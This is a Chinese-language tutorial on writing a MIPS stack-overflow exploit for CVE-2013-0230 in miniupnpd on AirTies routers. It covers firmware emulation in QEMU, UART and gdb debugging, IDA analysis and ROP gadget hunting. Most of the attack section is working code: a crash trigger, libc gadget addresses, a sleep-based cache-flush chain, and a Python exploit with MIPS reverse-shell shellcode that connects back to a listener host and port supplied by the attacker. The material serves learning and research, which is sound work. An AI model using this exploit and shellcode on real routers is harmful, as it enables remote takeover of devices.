本文作者:红日安全成员
lifeand
测试环境
Debian 9
Qem
本文主要以 CVE-2013-0230 漏洞为例,讲解路由器上缓冲区漏洞的 exp 编写。
使用 firmware-analysis-toolkit
firmware-analysis-toolkit
https://github.com/attify/firmware-analysis-toolkit
是模拟固件和分析安全漏洞的工具。
该工具可以自动的解压固件和创建 image 使用 qemu 来模拟路由器。
在本文中也尝试过使用该工具,但是存在一些问题,无法正常启动,对于这种情况可以使用 Debian MIPS
虚拟机来调试,或者也可以直接使用qemu-mipsel-static
来测试某个 mips
程序
工具链
使用 buildroot 来构建
从 buildroot 官网下载最新版,解压并配置相关设置,下载地址:
https://buildroot.org/download.html
执行命令:
make menuconfig
选择 mips (big endian) 构架
kernel 这里选择的是 3.10.x
cross gdb 选上,或者也可以使用 gdb-multiarch
(apt-get 直接安装,在使用时要 set arch mips
,本文使用 gdb-multiarch
)
make 直接编译
make -j2 (-j 后面 cpu 核心)
在根目录的 output 文件夹里就是编译好的程序
网桥搭建
bunctl -t tap0 -u <user>ifconfig tap0 upbrctl addbr br0 brctl addif br0 tap0brctl addif br0 eth0ifconfig br0 192.168.86.2
在启动 Debian MIPS
虚拟机后,需要配置虚拟机的 IP 来和主机通讯
Debian MIPS 虚拟机
从一下连接下载 qemu 镜像:
https://people.debian.org/~aurel32/qemu/mips/
网桥搭建
bunctl -t tap0 -u <user>ifconfig tap0 upbrctl addbr br0 brctl addif br0 tap0brctl addif br0 eth0ifconfig br0 192.168.86.2
在启动 Debian MIPS 虚拟机后,需要配置虚拟机的IP 来和主机通讯
启动命令
#!/usr/bin/env shqemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no
UART 调试
如果手边有路由器也可以使用 UART 来调试路由器, 需要使用的是 ttl 转 usb 模块, 拆开路由器后,在电路板上一般会有四个插孔,用于开发时期做调试时用,而在发行时期并没有把对应的调试电路去掉,所以自己外接 ttl 转 usb 模块或六合一模块来进行 UART 调试。需要用到的接口主要有 TX、RD、GND,连接完成后
在 Linux 系统上可以执行:
sudo minicom --device /dev/ttyUSB0
随后,重新接入电源则会出现路由器的启动信息,具体可以参考
http://future-sec.com/iot-security-hardware-debuging.html
预备知识
1、调试时本文使用 gdb 来调试,插件使用 pwndbg
:
https://github.com/pwndbg/pwndbg
当然也可以使用 gef
https://github.com/hugsy/gef
2、mips 汇编基础,有些汇编需要去了解下
3、因本文调试的 CVE 为栈溢出漏洞,所以还需要去了解下其原理
4、ida 使用基础
CVE-2013-0230
设置目标
下载到目标固件后,使用 binwalk
进行解压,记得先
sudo apt install squashfs-tools
解压完后
该漏洞出现在 miniupnpd
文件上
使用 qemu-system-mips
启动虚拟机,配置 ip
配置好后,通过 scp 将 miniupnpd 文件传输到虚拟机中,
还需要将 libc.so.0
和 ld-uClibc.so.0
一起复制到虚拟机中,并放在 lib 目录用,设置链接,保证 miniupnpd
可以运行
启动 miniupnpd
需要设置一些参数
这里写了个方便调试的脚本 run, 并且开启 gdbserver , 启动远程调试服务
IDA 逆向分析
使用 ida 打开 miniupnpd
文件, 来到 ExecuteSoapAction
处
可以清楚的看到 memcpy 函数调用, 调用 memcpy 过程中将 a1 的数据不加限制的复制到 a0 (栈上),由此,经典的栈溢出发生
远程调试
在虚拟机中运行 run 脚本, 在主机上 ~/.gdbinit
中加入
set architecture mips target remote 192.168.86.103:1234
当使用 gdb-multiarch
时,自动执行 .gdbinit
脚本内容
gdb 连上后运行触发脚本
import urllib2payload = 'A'*2500 #payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D'#payload = 'A' * 2076 #payload += 'BBBB'soap_headers = { 'SOAPAction':"n:schemas-upnp-org:service:WANIPConection:1#"+payload, }soap_data = """ <?xml version='1.0' encoding="UTF-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap.envelope/" > <SOAP-ENV:Body> <ns1:action xmlns:ns1="urn:schemaas-upnp-org:service:WANIPConnection:1" SOAP-ENC:root="1"> </ns1:action> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)res = urllib2.urlopen(req)
脚本运行后,程序崩溃
返回地址已经被覆盖为 0x41414141
, 使用 pattern 工具进一步来确定栈的大小
pattern 2500
将 payload 改为生成的字符串
重新运行
确定栈大小 2076
在 0x404f44
处下断点,断下来后,查看 a0、a1 的情况
可以看到 a1 指向 'AAA...'
a0 到 sp 的大小为 2072, 符合我们所计算的溢出栈的大小
我们可以控制 ra、s0、s1、s2、s3、s4、s5、s6 寄存器, 由于 mips 构架的 CPU 有两处缓存,cpu 分别从 code 缓存和 data 缓存来获取指令和输入的数据
为此我们需要处理缓存问题,清除缓存。Airties 路由器不使用 ASLR ,libc 的地址不变
我们需要通过调用 sleep 函数来刷新缓存的问题,随后返回到 shellcode 去执行。
这里使用 ida 插件 mipsrop
https://github.com/devttys0/ida
来查找一些 gadget
1、查找 "li $a0, 1"
用 ida 载入 libc.so.0 , edit
-> plugins
-> MIPS ROP Finder
来初始化 mipsrop 插件
mipsrop.fine("li $a0, 1")
这里选择地址 0x00036860
处的 gadget
2、通过 miprop.tails()
来找到有用的 syscall
找到一处通过 s1 传入地址,跳到该地址调用的 gadget
3、找到存放 shellcode 的地方
4、gadget 将 shellcode 的地址放入 s0 ,为此要找到一处将 s0 放入 t9 的指令
5、找到 libc 地址
在 debian mips 虚拟机上执行
sysctl -w kernel.randomize_va_space = 0
来禁用 ASLR 通过 /proc/PID/maps
来找到 libc 的地址
libc 的基址为 0x77f92000 sleep 地址 0x35620 ra_1 = 1.gadget s1 = 2.gadget ra__2 = 3.gadget s6 = 4.gadget s2 = s6 = 4.gadget
于是 payload 构造如下
2052 bytes junk + s1 + 16 bytes junk + s6 + ra_1 + 28 bytes junk + sleep + 40 bytes junk + s2 + ra_2 + 32 bytesjunks + shellcode
#!/usr/bin/env pythonimport urllib2from string import joinfrom argparse import ArgumentParserfrom struct import packfrom socket import inet_atonBYTES = 4def hex2str(value, size=BYTES): data = "" for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) data = data[::-1] return dataarg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \ CVE-2013-0230 Reverse Shell exploit for AirTies \ RT Series, start netcat on lhost:lport")#arg_parser.add_argument("--target", required=True, help="Target IP address")arg_parser.add_argument("--lhost", required=True, help="The IP address\ which nc is listening")arg_parser.add_argument("--lport", required=True, type=int, help="The\ port which nc is listening")args = arg_parser.parse_args()libc_base = 0x77f92000ra_1 = hex2str(libc_base + 0x36860) # ra = 1. gadget'''.text:00036860 li $a0, 1.text:00036864 move $t9, $s1.text:00036868 jalr $t9 ; sub_36510.text:0003686C ori $a1, $s0, 2'''s1 = hex2str(libc_base + 0x1636C) # s1 = 2. gadget'''.text:0001636C move $t9, $s1.text:00016370 lw $ra, 0x28+var_4($sp).text:00016374 lw $s2, 0x28+var_8($sp).text:00016378 lw $s1, 0x28+var_C($sp).text:0001637C lw $s0, 0x28+var_10($sp).text:00016380 jr $t9.text:00016384 addiu $sp, 0x28'''sleep = hex2str(libc_base + 0x35620) # sleep functionra_2 = hex2str(libc_base + 0x28D3C) # ra = 3. gadget'''.text:00028D3C addiu $s0, $sp, 0xD0+var_B0.text:00028D40 lw $a0, 0($s2).text:00028D44 move $a1, $s1.text:00028D48 move $a2, $s4.text:00028D4C move $t9, $s6.text:00028D50 jalr $t9.text:00028D54 move $a3, $s0'''s6 = hex2str(libc_base + 0x1B19C) # ra = 4.gadget'''.text:0001B19C move $t9, $s0.text:0001B1A0 jalr $t9.text:0001B1A4 nop'''s2 = s6lport = pack('>H', args.lport)lhost = inet_aton(args.lhost)shellcode = join([ "\x24\x11\xff\xff" "\x24\x04\x27\x0f" "\x24\x02\x10\x46" "\x01\x01\x01\x0c" "\x1e\x20\xff\xfc" "\x24\x11\x10\x2d" "\x24\x02\x0f\xa2" "\x01\x01\x01\x0c" "\x1c\x40\xff\xf8" "\x24\x0f\xff\xfa" "\x01\xe0\x78\x27" "\x21\xe4\xff\xfd" "\x21\xe5\xff\xfd" "\x28\x06\xff\xff" "\x24\x02\x10\x57" "\x01\x01\x01\x0c" "\xaf\xa2\xff\xff" "\x8f\xa4\xff\xff" "\x34\x0f\xff\xfd" "\x01\xe0\x78\x27" "\xaf\xaf\xff\xe0" "\x3c\x0e" + lport + "\x35\xce" + lport + "\xaf\xae\xff\xe4" "\x3c\x0e" + lhost[:2] + "\x35\xce" + lhost[2:4] + "\xaf\xae\xff\xe6" "\x27\xa5\xff\xe2" "\x24\x0c\xff\xef" "\x01\x80\x30\x27" "\x24\x02\x10\x4a" "\x01\x01\x01\x0c" "\x24\x0f\xff\xfd" "\x01\xe0\x78\x27" "\x8f\xa4\xff\xff" "\x01\xe0\x28\x21" "\x24\x02\x0f\xdf" "\x01\x01\x01\x0c" "\x24\x10\xff\xff" "\x21\xef\xff\xff" "\x15\xf0\xff\xfa" "\x28\x06\xff\xff" "\x3c\x0f\x2f\x2f" "\x35\xef\x62\x69" "\xaf\xaf\xff\xec" "\x3c\x0e\x6e\x2f" "\x35\xce\x73\x68" "\xaf\xae\xff\xf0" "\xaf\xa0\xff\xf4" "\x27\xa4\xff\xec" "\xaf\xa4\xff\xf8" "\xaf\xa0\xff\xfc" "\x27\xa5\xff\xf8" "\x24\x02\x0f\xab" "\x01\x01\x01\x0c" ], '')payload = 'A'*2052 + s1 + 'A'*(4*4) + s6 + ra_1 + 'A'*28 + sleep + 'A'*40 + s2\ + ra_2 + 'C'*32 #+ shellcodesoap_headers = { 'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,}soap_data = """ <?xml version='1.0' encoding="UTF-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" > <SOAP-ENV:Body> <ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\ SOAP-ENC:root="1"> </ns1:action> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """#try:print "Exploiting..."req = urllib2.Request("http://192.168.86.103:5555", soap_data,soap_headers)urllib2.urlopen(req)
https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1
https://emreboy.wordpress.com/2012/12/24/connecting-qemu-to-a-real-network/
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
http://www.devttys0.com/2013/10/mips-rop-ida-plugin/